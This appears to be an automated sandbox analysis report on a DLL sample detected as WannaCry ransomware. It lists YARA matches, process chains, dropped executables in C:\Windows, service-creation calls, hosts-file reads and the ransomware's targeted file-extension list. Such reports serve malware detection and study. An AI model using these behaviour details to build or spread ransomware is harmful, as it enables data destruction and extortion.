Source: 6.0.mssecsvr.exe.7100a4.1.raw.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 6.0.mssecsvr.exe.7100a4.1.raw.unpack, type: UNPACKEDPE	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: 7.2.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 7.2.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
Source: 7.2.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: 4.0.mssecsvr.exe.7100a4.3.raw.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 4.0.mssecsvr.exe.7100a4.3.raw.unpack, type: UNPACKEDPE	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: 4.0.mssecsvr.exe.7100a4.5.raw.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 4.0.mssecsvr.exe.7100a4.5.raw.unpack, type: UNPACKEDPE	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: 6.0.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 6.0.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
Source: 6.0.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: 4.0.mssecsvr.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 4.0.mssecsvr.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
Source: 4.0.mssecsvr.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: 4.0.mssecsvr.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 4.0.mssecsvr.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
Source: 4.0.mssecsvr.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: 6.0.mssecsvr.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 6.0.mssecsvr.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
Source: 6.0.mssecsvr.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: 6.0.mssecsvr.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 6.0.mssecsvr.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
Source: 6.0.mssecsvr.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: 6.0.mssecsvr.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 6.0.mssecsvr.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
Source: 6.0.mssecsvr.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: 4.0.mssecsvr.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 4.0.mssecsvr.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
Source: 4.0.mssecsvr.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: 4.2.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 4.2.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
Source: 4.2.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: 6.2.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 6.2.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
Source: 6.2.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: 00000006.00000000.370463078.0000000000710000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: 00000006.00000000.368608728.0000000000710000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: 00000006.00000002.375063291.0000000000710000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: 00000007.00000002.963137238.0000000000710000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: 00000004.00000000.361435294.0000000000710000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: 00000004.00000000.359726193.0000000000710000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: 00000006.00000000.363619382.0000000000710000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: 00000004.00000002.369789005.0000000000710000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: 00000004.00000000.358211362.0000000000710000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: 00000004.00000000.363392833.0000000000710000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: 00000007.00000000.366852885.0000000000710000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: 00000006.00000000.366186624.0000000000710000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: C:\Windows\tasksche.exe, type: DROPPED	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: C:\Windows\tasksche.exe, type: DROPPED	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: C:\Windows\mssecsvr.exe, type: DROPPED	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: C:\Windows\mssecsvr.exe, type: DROPPED	Matched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
Source: C:\Windows\mssecsvr.exe, type: DROPPED	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set

Source: C:\Windows\SysWOW64\rundll32.exe

File created: C:\WINDOWS\mssecsvr.exe

Jump to behavior

Source: mssecsvr.exe.2.dr

Static PE information: Resource name: R type: PE32 executable (GUI) Intel 80386, for MS Windows

Source: tasksche.exe.4.dr

Static PE information: No import functions for PE file found

Source: Joe Sandbox View	Dropped File: C:\WINDOWS\qeriuwjhrf (copy) 96D7B2D83E30FED4EEC2CBF2E1FBE426DAD705F918AE8ABBDA0DB4B4AFB82865
Source: Joe Sandbox View	Dropped File: C:\Windows\tasksche.exe 96D7B2D83E30FED4EEC2CBF2E1FBE426DAD705F918AE8ABBDA0DB4B4AFB82865

Source: tasksche.exe.4.dr

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: tasksche.exe.4.dr	Static PE information: Section: .rdata ZLIB complexity 1.0007621951219512
Source: tasksche.exe.4.dr	Static PE information: Section: .data ZLIB complexity 1.001953125
Source: tasksche.exe.4.dr	Static PE information: Section: .rsrc ZLIB complexity 1.0007408405172413

Source: 4Maoj78D1f.dll	Virustotal: Detection: 88%
Source: 4Maoj78D1f.dll	Metadefender: Detection: 80%
Source: 4Maoj78D1f.dll	ReversingLabs: Detection: 90%

Source: 4Maoj78D1f.dll

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\loaddll32.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\loaddll32.exe loaddll32.exe "C:\Users\user\Desktop\4Maoj78D1f.dll"
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\4Maoj78D1f.dll",#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\4Maoj78D1f.dll,PlayGame
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\4Maoj78D1f.dll",#1
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\mssecsvr.exe C:\WINDOWS\mssecsvr.exe
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\4Maoj78D1f.dll",PlayGame
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\mssecsvr.exe C:\WINDOWS\mssecsvr.exe
Source: unknown	Process created: C:\Windows\mssecsvr.exe C:\WINDOWS\mssecsvr.exe -m security
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\4Maoj78D1f.dll",#1	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\4Maoj78D1f.dll,PlayGame	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\4Maoj78D1f.dll",PlayGame	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\4Maoj78D1f.dll",#1	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\mssecsvr.exe C:\WINDOWS\mssecsvr.exe	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\mssecsvr.exe C:\WINDOWS\mssecsvr.exe	Jump to behavior

Source: C:\Windows\mssecsvr.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: classification engine

Classification label: mal100.rans.troj.expl.evad.winDLL@21/3@3/100

Source: C:\Windows\mssecsvr.exe	Code function: sprintf,OpenSCManagerA,InternetCloseHandle,CreateServiceA,CloseServiceHandle,StartServiceA,CloseServiceHandle,CloseServiceHandle,		4_2_00407C40
Source: C:\Windows\mssecsvr.exe	Code function: sprintf,OpenSCManagerA,InternetCloseHandle,CreateServiceA,CloseServiceHandle,StartServiceA,CloseServiceHandle,CloseServiceHandle,		7_2_00407C40

Source: C:\Windows\mssecsvr.exe	Code function: 4_2_00408090 GetModuleFileNameA,__p___argc,OpenSCManagerA,InternetCloseHandle,OpenServiceA,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,StartServiceCtrlDispatcherA,		4_2_00408090
Source: C:\Windows\mssecsvr.exe	Code function: 7_2_00408090 GetModuleFileNameA,__p___argc,OpenSCManagerA,InternetCloseHandle,OpenServiceA,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,StartServiceCtrlDispatcherA,		7_2_00408090

Source: C:\Windows\mssecsvr.exe

Code function: 4_2_00407C40 sprintf,OpenSCManagerA,InternetCloseHandle,CreateServiceA,CloseServiceHandle,StartServiceA,CloseServiceHandle,CloseServiceHandle,

4_2_00407C40

Source: C:\Windows\System32\loaddll32.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\4Maoj78D1f.dll,PlayGame

Source: C:\Windows\mssecsvr.exe

Code function: 4_2_00407CE0 InternetCloseHandle,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateProcessA,FindResourceA,LoadResource,LockResource,SizeofResource,sprintf,sprintf,sprintf,MoveFileExA,CreateFileA,WriteFile,FindCloseChangeNotification,CreateProcessA,CloseHandle,CloseHandle,

4_2_00407CE0

Source: 4Maoj78D1f.dll, mssecsvr.exe.2.dr, tasksche.exe.4.dr

Binary or memory string: @.der.pfx.key.crt.csr.p12.pem.odt.ott.sxw.stw.uot.3ds.max.3dm.ods.ots.sxc.stc.dif.slk.wb2.odp.otp.sxd.std.uop.odg.otg.sxm.mml.lay.lay6.asc.sqlite3.sqlitedb.sql.accdb.mdb.db.dbf.odb.frm.myd.myi.ibd.mdf.ldf.sln.suo.cs.c.cpp.pas.h.asm.js.cmd.bat.ps1.vbs.vb.pl.dip.dch.sch.brd.jsp.php.asp.rb.java.jar.class.sh.mp3.wav.swf.fla.wmv.mpg.vob.mpeg.asf.avi.mov.mp4.3gp.mkv.3g2.flv.wma.mid.m3u.m4u.djvu.svg.ai.psd.nef.tiff.tif.cgm.raw.gif.png.bmp.jpg.jpeg.vcd.iso.backup.zip.rar.7z.gz.tgz.tar.bak.tbk.bz2.PAQ.ARC.aes.gpg.vmx.vmdk.vdi.sldm.sldx.sti.sxi.602.hwp.snt.onetoc2.dwg.pdf.wk1.wks.123.rtf.csv.txt.vsdx.vsd.edb.eml.msg.ost.pst.potm.potx.ppam.ppsx.ppsm.pps.pot.pptm.pptx.ppt.xltm.xltx.xlc.xlm.xlt.xlw.xlsb.xlsm.xlsx.xls.dotx.dotm.dot.docm.docb.docx.docWANACRY!%s\%sCloseHandleDeleteFileWMoveFileExWMoveFileWReadFileWriteFileCreateFileWkernel32.dll

Source: C:\Windows\mssecsvr.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\mssecsvr.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\mssecsvr.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\mssecsvr.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\mssecsvr.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\mssecsvr.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: 4Maoj78D1f.dll

Static file information: File size 5267459 > 1048576

Source: 4Maoj78D1f.dll

Static PE information: Raw size of .rsrc is bigger than: 0x100000 < 0x501000

Source: initial sample

Static PE information: section name: .text entropy: 7.663042758896975

Persistence and Installation Behavior

Drops executables to the windows directory (C:\Windows) and starts them

Source: C:\Windows\SysWOW64\rundll32.exe

Executable created and started: C:\WINDOWS\mssecsvr.exe

Jump to behavior

Source: C:\Windows\mssecsvr.exe	File created: C:\WINDOWS\qeriuwjhrf (copy)	Jump to dropped file
Source: C:\Windows\mssecsvr.exe	File created: C:\Windows\tasksche.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	File created: C:\Windows\mssecsvr.exe	Jump to dropped file

Source: C:\Windows\mssecsvr.exe	File created: C:\WINDOWS\qeriuwjhrf (copy)	Jump to dropped file
Source: C:\Windows\mssecsvr.exe	File created: C:\Windows\tasksche.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	File created: C:\Windows\mssecsvr.exe	Jump to dropped file

Source: C:\Windows\mssecsvr.exe

Code function: 4_2_00407C40 sprintf,OpenSCManagerA,InternetCloseHandle,CreateServiceA,CloseServiceHandle,StartServiceA,CloseServiceHandle,CloseServiceHandle,

4_2_00407C40

Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\mssecsvr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\mssecsvr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\mssecsvr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\mssecsvr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\mssecsvr.exe TID: 5552	Thread sleep count: 1637 > 30	Jump to behavior
Source: C:\Windows\mssecsvr.exe TID: 5552	Thread sleep time: -163700s >= -30000s	Jump to behavior
Source: C:\Windows\mssecsvr.exe TID: 6900	Thread sleep count: 41 > 30	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 9428	Thread sleep time: -60000s >= -30000s	Jump to behavior

Source: C:\Windows\mssecsvr.exe	Dropped PE file which has not been started: C:\WINDOWS\qeriuwjhrf (copy)			Jump to dropped file
